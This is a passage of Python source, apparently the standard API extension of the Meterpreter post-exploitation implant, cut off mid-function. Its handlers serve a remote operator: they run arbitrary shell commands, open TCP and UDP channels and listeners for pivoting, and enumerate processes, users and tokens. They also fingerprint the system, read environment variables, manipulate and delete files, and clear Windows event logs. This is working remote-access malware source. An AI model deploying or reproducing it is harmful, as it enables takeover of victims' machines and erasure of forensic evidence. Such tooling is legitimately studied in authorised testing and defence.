UNIVERSAL_NAME_INFO_LEVEL = 1
DRIVE_REMOTE = 4
# Linux Constants
RT_TABLE_MAIN = 254
RTA_UNSPEC = 0
RTA_DST = 1
RTA_SRC = 2
RTA_IIF = 3
RTA_OIF = 4
RTA_GATEWAY = 5
RTA_PRIORITY = 6
RTA_PREFSRC = 7
RTA_METRICS = 8
RTA_MULTIPATH = 9
RTA_PROTOINFO = 10 #/* no longer used */
RTA_FLOW = 11
RTA_CACHEINFO = 12
RTA_SESSION = 13 #/* no longer used */
RTA_MP_ALGO = 14 #/* no longer used */
RTA_TABLE = 15
RTM_GETLINK = 18
RTM_GETADDR = 22
RTM_GETROUTE = 26
IFLA_ADDRESS = 1
IFLA_BROADCAST = 2
IFLA_IFNAME = 3
IFLA_MTU = 4
IFA_ADDRESS = 1
IFA_LABEL = 3
meterpreter.register_extension('stdapi')
# Meterpreter register function decorators
register_function = meterpreter.register_function
def register_function_if(condition):
if condition:
return meterpreter.register_function
else:
return lambda function: function
def byref_at(obj, offset=0):
address = ctypes.addressof(obj) + offset
return ctypes.pointer(type(obj).from_address(address))
def bytes_to_ctarray(bytes_):
ctarray = (ctypes.c_byte * len(bytes_))()
ctypes.memmove(ctypes.byref(ctarray), bytes_, len(bytes_))
return ctarray
def ctarray_to_bytes(ctarray):
if not len(ctarray):
# work around a bug in v3.1 & v3.2 that results in a segfault when len(ctarray) == 0
return bytes()
bytes_ = buffer(ctarray) if sys.version_info[0] < 3 else bytes(ctarray)
return bytes_[:]
def calculate_32bit_netmask(bits):
if bits == 32:
netmask = 0xffffffff
else:
netmask = ((0xffffffff << (32 - (bits % 32))) & 0xffffffff)
return struct.pack('!I', netmask)
def calculate_128bit_netmask(bits):
part = calculate_32bit_netmask(bits)
part = struct.unpack('!I', part)[0]
if bits >= 96:
netmask = struct.pack('!iiiI', -1, -1, -1, part)
elif bits >= 64:
netmask = struct.pack('!iiII', -1, -1, part, 0)
elif bits >= 32:
netmask = struct.pack('!iIII', -1, part, 0, 0)
else:
netmask = struct.pack('!IIII', part, 0, 0, 0)
return netmask
def cstruct_unpack(structure, raw_data):
if not isinstance(structure, ctypes.Structure):
structure = structure()
ctypes.memmove(ctypes.byref(structure), raw_data, ctypes.sizeof(structure))
return structure
def get_stat_buffer(path):
si = os.stat(path)
rdev = 0
if hasattr(si, 'st_rdev'):
rdev = si.st_rdev
st_buf = struct.pack('<III', int(si.st_dev), int(si.st_mode), int(si.st_nlink))
st_buf += struct.pack('<IIIQ', int(si.st_uid), int(si.st_gid), int(rdev), long(si.st_ino))
st_buf += struct.pack('<QQQQ', long(si.st_size), long(si.st_atime), long(si.st_mtime), long(si.st_ctime))
return st_buf
def get_token_user(handle):
TOKEN_QUERY = 0x0008
TokenUser = 1
advapi32 = ctypes.windll.advapi32
advapi32.OpenProcessToken.argtypes = [ctypes.c_void_p, ctypes.c_uint32, ctypes.POINTER(ctypes.c_void_p)]
token_handle = ctypes.c_void_p()
if not advapi32.OpenProcessToken(handle, TOKEN_QUERY, ctypes.byref(token_handle)):
return None
token_user_buffer = (ctypes.c_byte * 4096)()
dw_returned = ctypes.c_uint32()
result = advapi32.GetTokenInformation(token_handle, TokenUser, ctypes.byref(token_user_buffer), ctypes.sizeof(token_user_buffer), ctypes.byref(dw_returned))
ctypes.windll.kernel32.CloseHandle(token_handle)
if not result:
return None
return cstruct_unpack(TOKEN_USER, token_user_buffer)
def get_username_from_token(token_user):
user = (ctypes.c_char * 512)()
domain = (ctypes.c_char * 512)()
user_len = ctypes.c_uint32()
user_len.value = ctypes.sizeof(user)
domain_len = ctypes.c_uint32()
domain_len.value = ctypes.sizeof(domain)
use = ctypes.c_ulong()
use.value = 0
LookupAccountSid = ctypes.windll.advapi32.LookupAccountSidA
LookupAccountSid.argtypes = [ctypes.c_void_p] * 7
if not LookupAccountSid(None, token_user.User.Sid, user, ctypes.byref(user_len), domain, ctypes.byref(domain_len), ctypes.byref(use)):
return None
return str(ctypes.string_at(domain)) + '\\' + str(ctypes.string_at(user))
def get_windll_lang():
if not hasattr(ctypes.windll.kernel32, 'GetSystemDefaultLangID'):
return None
kernel32 = ctypes.windll.kernel32
kernel32.GetSystemDefaultLangID.restype = ctypes.c_uint16
lang_id = kernel32.GetSystemDefaultLangID()
size = kernel32.GetLocaleInfoW(lang_id, LOCALE_SISO3166CTRYNAME, 0, 0)
ctry_name = (ctypes.c_wchar * size)()
kernel32.GetLocaleInfoW(lang_id, LOCALE_SISO3166CTRYNAME, ctry_name, size)
size = kernel32.GetLocaleInfoW(lang_id, LOCALE_SISO639LANGNAME, 0, 0)
lang_name = (ctypes.c_wchar * size)()
kernel32.GetLocaleInfoW(lang_id, LOCALE_SISO639LANGNAME, lang_name, size)
if not (len(ctry_name.value) and len(lang_name)):
return 'Unknown'
return lang_name.value + '_' + ctry_name.value
def get_windll_os_name():
os_info = windll_RtlGetVersion()
if not os_info:
return None
is_workstation = os_info.wProductType == VER_NT_WORKSTATION
os_name = None
if os_info.dwMajorVersion == 3:
os_name = 'NT 3.51'
elif os_info.dwMajorVersion == 4:
if os_info.dwMinorVersion == 0 and os_info.dwPlatformId == VER_PLATFORM_WIN32_WINDOWS:
os_name = '95'
elif os_info.dwMinorVersion == 10:
os_name = '98'
elif os_info.dwMinorVersion == 90:
os_name = 'ME'
elif os_info.dwMinorVersion == 0 and os_info.dwPlatformId == VER_PLATFORM_WIN32_NT:
os_name = 'NT 4.0'
elif os_info.dwMajorVersion == 5:
if os_info.dwMinorVersion == 0:
os_name = '2000'
elif os_info.dwMinorVersion == 1:
os_name = 'XP'
elif os_info.dwMinorVersion == 2:
os_name = '.NET Server'
elif os_info.dwMajorVersion == 6:
if os_info.dwMinorVersion == 0:
os_name = ('Vista' if is_workstation else '2008')
elif os_info.dwMinorVersion == 1:
os_name = ('7' if is_workstation else '2008 R2')
elif os_info.dwMinorVersion == 2:
os_name = ('8' if is_workstation else '2012')
elif os_info.dwMinorVersion == 3:
os_name = ('8.1' if is_workstation else '2012 R2')
elif os_info.dwMajorVersion == 10:
if os_info.dwMinorVersion == 0:
os_name = ('10' if is_workstation else '2016')
if not os_name:
os_name = 'Unknown'
os_name = 'Windows ' + os_name
if os_info.szCSDVersion:
os_name += ' (Build ' + str(os_info.dwBuildNumber) + ', ' + os_info.szCSDVersion + ')'
else:
os_name += ' (Build ' + str(os_info.dwBuildNumber) + ')'
return os_name
def getaddrinfo(host, port=0, family=0, socktype=0, proto=0, flags=0):
addresses = []
for info in socket.getaddrinfo(host, port, family, socktype, proto, flags):
addresses.append({
'family': info[0],
'socktype': info[1],
'proto': info[2],
'cannonname': info[3],
'sockaddr': info[4]
})
return addresses
def getaddrinfo_from_request(request, socktype, proto):
peer_host = packet_get_tlv(request, TLV_TYPE_PEER_HOST).get('value')
if peer_host:
peer_port = packet_get_tlv(request, TLV_TYPE_PEER_PORT).get('value', 0)
peer_address_info = getaddrinfo(peer_host, peer_port, socktype=socktype, proto=proto)
peer_address_info = peer_address_info[0] if peer_address_info else None
else:
peer_address_info = None
local_host = packet_get_tlv(request, TLV_TYPE_LOCAL_HOST).get('value')
if local_host:
local_port = packet_get_tlv(request, TLV_TYPE_LOCAL_PORT).get('value', 0)
local_address_info = getaddrinfo(local_host, local_port, socktype=socktype, proto=proto)
local_address_info = local_address_info[0] if local_address_info else None
else:
local_address_info = None
return peer_address_info, local_address_info
def netlink_request(req_type, req_data):
# See RFC 3549
NLM_F_REQUEST = 0x0001
NLM_F_ROOT = 0x0100
NLM_F_MATCH = 0x0200
NLM_F_DUMP = NLM_F_ROOT | NLM_F_MATCH
NLMSG_ERROR = 0x0002
NLMSG_DONE = 0x0003
sock = socket.socket(socket.AF_NETLINK, socket.SOCK_RAW, socket.NETLINK_ROUTE)
sock.bind((os.getpid(), 0))
seq = int(time.time())
if isinstance(req_data, ctypes.Structure):
req_data = bytes(req_data)
nlmsg = bytes(NLMSGHDR(len=ctypes.sizeof(NLMSGHDR) + len(req_data), type=req_type, flags=(NLM_F_REQUEST | NLM_F_DUMP), seq=seq, pid=0))
sock.send(nlmsg + req_data)
responses = []
if not len(select.select([sock.fileno()], [], [], 0.5)[0]):
return responses
raw_response_data = sock.recv(0xfffff)
response = cstruct_unpack(NLMSGHDR, raw_response_data[:ctypes.sizeof(NLMSGHDR)])
raw_response_data = raw_response_data[ctypes.sizeof(NLMSGHDR):]
while response.type != NLMSG_DONE:
if response.type == NLMSG_ERROR:
print('NLMSG_ERROR')
break
response_data = raw_response_data[:(response.len - 16)]
responses.append(response_data)
raw_response_data = raw_response_data[len(response_data):]
if not len(raw_response_data):
if not len(select.select([sock.fileno()], [], [], 0.5)[0]):
break
raw_response_data = sock.recv(0xfffff)
response = cstruct_unpack(NLMSGHDR, raw_response_data[:ctypes.sizeof(NLMSGHDR)])
raw_response_data = raw_response_data[ctypes.sizeof(NLMSGHDR):]
sock.close()
return responses
def resolve_host(hostname, family):
address_info = getaddrinfo(hostname, family=family, socktype=socket.SOCK_DGRAM, proto=socket.IPPROTO_UDP)
address = address_info['sockaddr'][0]
return {'family': family, 'address': address, 'packed_address': inet_pton(family, address)}
def tlv_pack_local_addrinfo(sock):
local_host, local_port = sock.getsockname()[:2]
return tlv_pack(TLV_TYPE_LOCAL_HOST, local_host) + tlv_pack(TLV_TYPE_LOCAL_PORT, local_port)
def windll_RtlGetVersion():
if not has_windll:
return None
os_info = OSVERSIONINFOEXW()
os_info.dwOSVersionInfoSize = ctypes.sizeof(OSVERSIONINFOEXW)
if ctypes.windll.ntdll.RtlGetVersion(ctypes.byref(os_info)) != 0:
return None
return os_info
def windll_GetNativeSystemInfo():
if not has_windll:
return None
sysinfo = SYSTEM_INFO()
ctypes.windll.kernel32.GetNativeSystemInfo(ctypes.byref(sysinfo))
return {0:PROCESS_ARCH_X86, 6:PROCESS_ARCH_IA64, 9:PROCESS_ARCH_X64}.get(sysinfo.wProcessorArchitecture, PROCESS_ARCH_UNKNOWN)
def windll_GetVersion():
if not has_windll:
return None
dwVersion = ctypes.windll.kernel32.GetVersion()
dwMajorVersion = (dwVersion & 0x000000ff)
dwMinorVersion = ((dwVersion & 0x0000ff00) >> 8)
dwBuild = ((dwVersion & 0xffff0000) >> 16)
return type('Version', (object,), dict(dwMajorVersion = dwMajorVersion, dwMinorVersion = dwMinorVersion, dwBuild = dwBuild))
@register_function
def channel_open_stdapi_fs_file(request, response):
fpath = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
fmode = packet_get_tlv(request, TLV_TYPE_FILE_MODE)
if fmode:
fmode = fmode['value']
fmode = fmode.replace('bb', 'b')
else:
fmode = 'rb'
file_h = open(unicode(fpath), fmode)
channel_id = meterpreter.add_channel(MeterpreterFile(file_h))
response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
return ERROR_SUCCESS, response
@register_function
def channel_open_stdapi_net_tcp_client(request, response):
peer_address_info, local_address_info = getaddrinfo_from_request(request, socktype=socket.SOCK_STREAM, proto=socket.IPPROTO_TCP)
retries = packet_get_tlv(request, TLV_TYPE_CONNECT_RETRIES).get('value', 1)
if not peer_address_info:
return ERROR_CONNECTION_ERROR, response
connected = False
for _ in range(retries + 1):
sock = socket.socket(peer_address_info['family'], peer_address_info['socktype'], peer_address_info['proto'])
sock.settimeout(3.0)
if local_address_info:
sock.bind(local_address_info['sockaddr'])
try:
sock.connect(peer_address_info['sockaddr'])
connected = True
break
except:
pass
if not connected:
return ERROR_CONNECTION_ERROR, response
channel_id = meterpreter.add_channel(MeterpreterSocketTCPClient(sock))
response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
response += tlv_pack_local_addrinfo(sock)
return ERROR_SUCCESS, response
@register_function
def channel_open_stdapi_net_tcp_server(request, response):
local_host = packet_get_tlv(request, TLV_TYPE_LOCAL_HOST).get('value', '0.0.0.0')
local_port = packet_get_tlv(request, TLV_TYPE_LOCAL_PORT)['value']
local_address_info = getaddrinfo(local_host, local_port, socktype=socket.SOCK_STREAM, proto=socket.IPPROTO_TCP)
if not local_address_info:
return ERROR_FAILURE, response
local_address_info = local_address_info[0]
server_sock = socket.socket(local_address_info['family'], local_address_info['socktype'], local_address_info['proto'])
server_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
if local_address_info['family'] == socket.AF_INET6 and hasattr(socket, 'IPV6_V6ONLY'):
server_sock.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, 0)
server_sock.bind(local_address_info['sockaddr'])
server_sock.listen(socket.SOMAXCONN)
channel_id = meterpreter.add_channel(MeterpreterSocketTCPServer(server_sock))
response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
response += tlv_pack_local_addrinfo(server_sock)
return ERROR_SUCCESS, response
@register_function
def channel_open_stdapi_net_udp_client(request, response):
peer_address_info, local_address_info = getaddrinfo_from_request(request, socktype=socket.SOCK_DGRAM, proto=socket.IPPROTO_UDP)
if not local_address_info:
return ERROR_FAILURE, response
sock = socket.socket(local_address_info['family'], local_address_info['socktype'], local_address_info['proto'])
sock.bind(local_address_info['sockaddr'])
peer_address = peer_address_info['sockaddr'] if peer_address_info else None
channel_id = meterpreter.add_channel(MeterpreterSocketUDPClient(sock, peer_address))
response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
response += tlv_pack_local_addrinfo(sock)
return ERROR_SUCCESS, response
@register_function
def stdapi_sys_config_getenv(request, response):
for env_var in packet_enum_tlvs(request, TLV_TYPE_ENV_VARIABLE):
pgroup = bytes()
env_var = env_var['value']
env_var = env_var.replace('%', '')
env_var = env_var.replace('$', '')
env_val = os.environ.get(env_var)
if env_val:
pgroup += tlv_pack(TLV_TYPE_ENV_VARIABLE, env_var)
pgroup += tlv_pack(TLV_TYPE_ENV_VALUE, env_val)
response += tlv_pack(TLV_TYPE_ENV_GROUP, pgroup)
return ERROR_SUCCESS, response
@register_function_if(has_windll)
def stdapi_sys_config_getsid(request, response):
token = get_token_user(ctypes.windll.kernel32.GetCurrentProcess())
if not token:
return error_result_windows(), response
sid_str = ctypes.c_char_p()
ConvertSidToStringSid = ctypes.windll.advapi32.ConvertSidToStringSidA
ConvertSidToStringSid.argtypes = [ctypes.c_void_p, ctypes.c_void_p]
if not ConvertSidToStringSid(token.User.Sid, ctypes.byref(sid_str)):
return error_result_windows(), response
sid_str = str(ctypes.string_at(sid_str))
response += tlv_pack(TLV_TYPE_SID, sid_str)
return ERROR_SUCCESS, response
@register_function
def stdapi_sys_config_getuid(request, response):
if has_pwd:
username = pwd.getpwuid(os.getuid()).pw_name
elif has_windll:
token = get_token_user(ctypes.windll.kernel32.GetCurrentProcess())
if not token:
return error_result_windows(), response
username = get_username_from_token(token)
if not username:
return error_result_windows(), response
else:
username = getpass.getuser()
response += tlv_pack(TLV_TYPE_USER_NAME, username)
return ERROR_SUCCESS, response
@register_function
def stdapi_sys_config_localtime(request, response):
localtime = time.strftime("%Y-%m-%d %H:%M:%S %Z", time.localtime())
direction = "-" if time.timezone > 0 else "+"
localtime += " (UTC{0}{1})".format(direction, int(abs(time.timezone / 36)))
response += tlv_pack(TLV_TYPE_LOCAL_DATETIME, localtime)
return ERROR_SUCCESS, response
@register_function
def stdapi_sys_config_sysinfo(request, response):
uname_info = platform.uname()
response += tlv_pack(TLV_TYPE_COMPUTER_NAME, uname_info[1])
os_name = uname_info[0] + ' ' + uname_info[2] + ' ' + uname_info[3]
lang = None
if 'LANG' in os.environ:
lang = os.environ['LANG'].split('.', 1)[0]
if has_windll:
os_name = get_windll_os_name() or os_name
lang = (get_windll_lang() or lang)
if lang:
response += tlv_pack(TLV_TYPE_LANG_SYSTEM, lang)
response += tlv_pack(TLV_TYPE_OS_NAME, os_name)
response += tlv_pack(TLV_TYPE_ARCHITECTURE, get_system_arch())
return ERROR_SUCCESS, response
@register_function
def stdapi_sys_process_close(request, response):
proc_h_id = packet_get_tlv(request, TLV_TYPE_HANDLE)
if not proc_h_id:
return ERROR_SUCCESS, response
proc_h_id = proc_h_id['value']
if proc_h_id in meterpreter.processes:
del meterpreter.processes[proc_h_id]
return ERROR_SUCCESS, response
@register_function
def stdapi_sys_process_execute(request, response):
cmd = packet_get_tlv(request, TLV_TYPE_PROCESS_PATH)['value']
raw_args = packet_get_tlv(request, TLV_TYPE_PROCESS_ARGUMENTS)
if raw_args:
raw_args = raw_args['value']
else:
raw_args = ""
flags = packet_get_tlv(request, TLV_TYPE_PROCESS_FLAGS)['value']
if len(cmd) == 0:
return ERROR_FAILURE, response
if os.path.isfile('/bin/sh'):
args = ['/bin/sh', '-c', cmd + ' ' + raw_args]
else:
args = [cmd]
args.extend(shlex.split(raw_args))
if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED):
if has_pty:
master, slave = pty.openpty()
if has_termios:
try:
settings = termios.tcgetattr(master)
settings[3] = settings[3] & ~termios.ECHO
termios.tcsetattr(master, termios.TCSADRAIN, settings)
except:
pass
proc_h = STDProcess(args, stdin=slave, stdout=slave, stderr=slave, bufsize=0)
proc_h.stdin = os.fdopen(master, 'wb')
proc_h.stdout = os.fdopen(master, 'rb')
proc_h.stderr = open(os.devnull, 'rb')
else:
proc_h = STDProcess(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
proc_h.echo_protection = True
proc_h.start()
else:
proc_h = subprocess.Popen(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
proc_h_id = meterpreter.add_process(proc_h)
response += tlv_pack(TLV_TYPE_PID, proc_h.pid)
response += tlv_pack(TLV_TYPE_PROCESS_HANDLE, proc_h_id)
if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED):
channel_id = meterpreter.add_channel(MeterpreterProcess(proc_h))
response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
return ERROR_SUCCESS, response
@register_function
def stdapi_sys_process_getpid(request, response):
response += tlv_pack(TLV_TYPE_PID, os.getpid())
return ERROR_SUCCESS, response
@register_function
def stdapi_sys_process_kill(request, response):
for pid in packet_enum_tlvs(request, TLV_TYPE_PID):
pid = pid['value']
if has_windll:
k32 = ctypes.windll.kernel32
proc_h = k32.OpenProcess(PROCESS_TERMINATE, False, pid)
if not proc_h:
return error_result_windows(), response
if not k32.TerminateProcess(proc_h, 0):
return error_result_windows(), response
elif hasattr(os, 'kill'):
os.kill(pid, 9)
else:
return ERROR_FAILURE, response
return ERROR_SUCCESS, response
def stdapi_sys_process_get_processes_via_proc(request, response):
for pid in os.listdir('/proc'):
pgroup = bytes()
if not os.path.isdir(os.path.join('/proc', pid)) or not pid.isdigit():
continue
cmdline_file = open(os.path.join('/proc', pid, 'cmdline'), 'rb')
cmd = str(cmdline_file.read(512).replace(NULL_BYTE, bytes(' ', 'UTF-8')))
status_data = str(open(os.path.join('/proc', pid, 'status'), 'rb').read())
status_data = map(lambda x: x.split('\t',1), status_data.split('\n'))
status = {}
for k, v in filter(lambda x: len(x) == 2, status_data):
status[k[:-1]] = v.strip()
ppid = status.get('PPid')
uid = status.get('Uid').split('\t', 1)[0]
if has_pwd:
uid = pwd.getpwuid(int(uid)).pw_name
if cmd:
pname = os.path.basename(cmd.split(' ', 1)[0])
ppath = cmd
else:
pname = '[' + status['Name'] + ']'
ppath = ''
pgroup += tlv_pack(TLV_TYPE_PID, int(pid))
if ppid:
pgroup += tlv_pack(TLV_TYPE_PARENT_PID, int(ppid))
pgroup += tlv_pack(TLV_TYPE_USER_NAME, uid)
pgroup += tlv_pack(TLV_TYPE_PROCESS_NAME, pname)
pgroup += tlv_pack(TLV_TYPE_PROCESS_PATH, ppath)
response += tlv_pack(TLV_TYPE_PROCESS_GROUP, pgroup)
return ERROR_SUCCESS, response
def stdapi_sys_process_get_processes_via_ps(request, response):
ps_args = ['ps', 'ax', '-w', '-o', 'pid,ppid,user,command']
proc_h = subprocess.Popen(ps_args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
ps_output = str(proc_h.stdout.read())
ps_output = ps_output.split('\n')
ps_output.pop(0)
for process in ps_output:
process = process.split()
if len(process) < 4:
break
pgroup = bytes()
pgroup += tlv_pack(TLV_TYPE_PID, int(process[0]))
pgroup += tlv_pack(TLV_TYPE_PARENT_PID, int(process[1]))
pgroup += tlv_pack(TLV_TYPE_USER_NAME, process[2])
pgroup += tlv_pack(TLV_TYPE_PROCESS_NAME, os.path.basename(process[3]))
pgroup += tlv_pack(TLV_TYPE_PROCESS_PATH, ' '.join(process[3:]))
response += tlv_pack(TLV_TYPE_PROCESS_GROUP, pgroup)
return ERROR_SUCCESS, response
def stdapi_sys_process_get_processes_via_windll(request, response):
TH32CS_SNAPPROCESS = 2
TOKEN_QUERY = 0x0008
TokenUser = 1
k32 = ctypes.windll.kernel32
pe32 = PROCESSENTRY32()
pe32.dwSize = ctypes.sizeof(PROCESSENTRY32)
proc_snap = k32.CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
result = k32.Process32First(proc_snap, ctypes.byref(pe32))
if not result:
return error_result_windows(), response
while result:
proc_h = k32.OpenProcess((PROCESS_QUERY_INFORMATION | PROCESS_VM_READ), False, pe32.th32ProcessID)
if not proc_h:
proc_h = k32.OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, False, pe32.th32ProcessID)
exe_path = (ctypes.c_char * 1024)()
success = False
if hasattr(ctypes.windll.psapi, 'GetModuleFileNameExA'):
success = ctypes.windll.psapi.GetModuleFileNameExA(proc_h, 0, exe_path, ctypes.sizeof(exe_path))
elif hasattr(k32, 'GetModuleFileNameExA'):
success = k32.GetModuleFileNameExA(proc_h, 0, exe_path, ctypes.sizeof(exe_path))
if not success and hasattr(k32, 'QueryFullProcessImageNameA'):
dw_sz = ctypes.c_uint32()
dw_sz.value = ctypes.sizeof(exe_path)
success = k32.QueryFullProcessImageNameA(proc_h, 0, exe_path, ctypes.byref(dw_sz))
if not success and hasattr(ctypes.windll.psapi, 'GetProcessImageFileNameA'):
success = ctypes.windll.psapi.GetProcessImageFileNameA(proc_h, exe_path, ctypes.sizeof(exe_path))
if success:
exe_path = ctypes.string_at(exe_path)
else:
exe_path = ''
process_username = ''
process_token_user = get_token_user(proc_h)
if process_token_user:
process_username = get_username_from_token(process_token_user) or ''
parch = windll_GetNativeSystemInfo()
is_wow64 = ctypes.c_ubyte()
is_wow64.value = 0
if hasattr(k32, 'IsWow64Process'):
if k32.IsWow64Process(proc_h, ctypes.byref(is_wow64)):
if is_wow64.value:
parch = PROCESS_ARCH_X86
pgroup = bytes()
pgroup += tlv_pack(TLV_TYPE_PID, pe32.th32ProcessID)
pgroup += tlv_pack(TLV_TYPE_PARENT_PID, pe32.th32ParentProcessID)
pgroup += tlv_pack(TLV_TYPE_USER_NAME, process_username)
pgroup += tlv_pack(TLV_TYPE_PROCESS_NAME, pe32.szExeFile)
pgroup += tlv_pack(TLV_TYPE_PROCESS_PATH, exe_path)
pgroup += tlv_pack(TLV_TYPE_PROCESS_ARCH, parch)
response += tlv_pack(TLV_TYPE_PROCESS_GROUP, pgroup)
result = k32.Process32Next(proc_snap, ctypes.byref(pe32))
k32.CloseHandle(proc_h)
k32.CloseHandle(proc_snap)
return ERROR_SUCCESS, response
@register_function
def stdapi_sys_process_get_processes(request, response):
if os.path.isdir('/proc'):
return stdapi_sys_process_get_processes_via_proc(request, response)
elif has_windll:
return stdapi_sys_process_get_processes_via_windll(request, response)
else:
return stdapi_sys_process_get_processes_via_ps(request, response)
return ERROR_FAILURE, response
@register_function_if(has_windll)
def stdapi_sys_eventlog_open(request, response):
source_name = packet_get_tlv(request, TLV_TYPE_EVENT_SOURCENAME)['value']
handle = ctypes.windll.advapi32.OpenEventLogW(None, source_name)
if not handle:
return error_result_windows(), response
response += tlv_pack(TLV_TYPE_EVENT_HANDLE, handle)
return ERROR_SUCCESS, response
@register_function_if(has_windll)
def stdapi_sys_eventlog_read(request, response):
handle = packet_get_tlv(request, TLV_TYPE_EVENT_HANDLE)['value']
flags = packet_get_tlv(request, TLV_TYPE_EVENT_READFLAGS)['value']
offset = packet_get_tlv(request, TLV_TYPE_EVENT_RECORDOFFSET)['value']
adv32 = ctypes.windll.advapi32
bytes_read = ctypes.c_ulong(0)
bytes_needed = ctypes.c_ulong(0)
if adv32.ReadEventLogW(handle, flags, offset, ctypes.byref(bytes_read), 0, ctypes.byref(bytes_read), ctypes.byref(bytes_needed)):
return error_result_windows(), response
buf = ctypes.create_unicode_buffer(bytes_needed.value)
if not adv32.ReadEventLogW(handle, flags, offset, buf, bytes_needed, ctypes.byref(bytes_read), ctypes.byref(bytes_needed)):
return error_result_windows(), response
record = cstruct_unpack(EVENTLOGRECORD, buf)
response += tlv_pack(TLV_TYPE_EVENT_RECORDNUMBER, record.RecordNumber)
response += tlv_pack(TLV_TYPE_EVENT_TIMEGENERATED, record.TimeGenerated)
response += tlv_pack(TLV_TYPE_EVENT_TIMEWRITTEN, record.TimeWritten)
response += tlv_pack(TLV_TYPE_EVENT_ID, record.EventID)
response += tlv_pack(TLV_TYPE_EVENT_TYPE, record.EventType)
response += tlv_pack(TLV_TYPE_EVENT_CATEGORY, record.EventCategory)
response += tlv_pack(TLV_TYPE_EVENT_DATA, buf.raw[record.DataOffset:record.DataOffset + record.DataLength])
event_strings = buf.raw[record.StringOffset:].split('\x00', record.NumStrings)
for event_string in event_strings:
response += tlv_pack(TLV_TYPE_EVENT_STRING, event_string)
return ERROR_SUCCESS, response
@register_function_if(has_windll)
def stdapi_sys_eventlog_clear(request, response):
handle = packet_get_tlv(request, TLV_TYPE_EVENT_HANDLE)['value']
if not ctypes.windll.advapi32.ClearEventLogW(handle, None):
return error_result_windows(), response
return ERROR_SUCCESS, response
@register_function_if(has_windll)
def stdapi_sys_eventlog_numrecords(request, response):
handle = packet_get_tlv(request, TLV_TYPE_EVENT_HANDLE)['value']
total = ctypes.c_ulong(0)
if not ctypes.windll.advapi32.GetNumberOfEventLogRecords(handle, ctypes.byref(total)):
return error_result_windows(), response
response += tlv_pack(TLV_TYPE_EVENT_NUMRECORDS, total.value)
return ERROR_SUCCESS, response
@register_function_if(has_windll)
def stdapi_sys_eventlog_oldest(request, response):
handle = packet_get_tlv(request, TLV_TYPE_EVENT_HANDLE)['value']
oldest = ctypes.c_ulong(0)
if not ctypes.windll.advapi32.GetOldestEventLogRecordW(handle, ctypes.byref(oldest)):
return error_result_windows(), response
response += tlv_pack(TLV_TYPE_EVENT_RECORDNUMBER, oldest)
return ERROR_SUCCESS, response
@register_function_if(has_windll)
def stdapi_sys_eventlog_close(request, response):
handle = packet_get_tlv(request, TLV_TYPE_EVENT_HANDLE)['value']
if not ctypes.windll.advapi32.CloseEventLogW(handle):
return error_result_windows(), response
return ERROR_SUCCESS, response
@register_function
def stdapi_fs_chdir(request, response):
wd = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
os.chdir(unicode(wd))
return ERROR_SUCCESS, response
@register_function
def stdapi_fs_delete_dir(request, response):
dir_path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
dir_path = unicode(dir_path)
if os.path.islink(dir_path):
del_func = os.unlink
else:
del_func = shutil.rmtree
try:
del_func(dir_path)
except OSError:
return ERROR_FAILURE, response
return ERROR_SUCCESS, response
@register_function
def stdapi_fs_delete_file(request, response):
file_path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
if has_windll:
subprocess.call(unicode("attrib.exe -r ") + file_path)
try:
os.unlink(unicode(file_path))
except OSError:
return ERROR_FAILURE, response
return ERROR_SUCCESS, response
@register_function
def stdapi_fs_file_expand_path(request, response):
path_tlv = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
if has_windll:
path_tlv = ctypes.create_string_buffer(bytes(path_tlv, 'UTF-8'))
path_out = (ctypes.c_char * 4096)()
path_out_len = ctypes.windll.kernel32.ExpandEnvironmentStringsA(ctypes.byref(path_tlv), ctypes.byref(path_out), ctypes.sizeof(path_out))
result = str(ctypes.string_at(path_out))
elif path_tlv == '%COMSPEC%':
result = '/bin/sh'
elif path_tlv in ['%TEMP%', '%TMP%']:
result = '/tmp'
else:
result = os.getenv(path_tlv, path_tlv)
if not result:
return ERROR_FAILURE, response
response += tlv_pack(TLV_TYPE_FILE_PATH, result)
return ERROR_SUCCESS, response
@register_function
def stdapi_fs_file_move(request, response):
oldname = packet_get_tlv(request, TLV_TYPE_FILE_NAME)['value']
newname = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
os.rename(unicode(oldname), unicode(newname))
return ERROR_SUCCESS, response
@register_function
def stdapi_fs_file_copy(request, response):
oldname = packet_get_tlv(request, TLV_TYPE_FILE_NAME)['value']
newname = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
shutil.copyfile(unicode(oldname), unicode(newname))
return ERROR_SUCCESS, response
@register_function_if(sys.platform == 'darwin' or sys.platform.startswith('linux'))
def stdapi_fs_chmod(request, response):
path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
mode = packet_get_tlv(request, TLV_TYPE_FILE_MODE_T)['value']
os.chmod(unicode(path), mode)
return ERROR_SUCCESS, response
@register_function
def stdapi_fs_getwd(request, response):
if hasattr(os, 'getcwdu'):
wd = os.getcwdu()
else:
wd = os.getcwd()
response += tlv_pack(TLV_TYPE_DIRECTORY_PATH, wd)
return ERROR_SUCCESS, response
@register_function
def stdapi_fs_ls(request, response):
path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
path = os.path.abspath(unicode(path))
glob = '*'
if any((c in ['*','[','?']) for c in path):
glob = os.path.basename(path)
path = os.path.dirname(path)
for file_name in filter(lambda f: fnmatch.fnmatch(f, glob), os.listdir(path)):
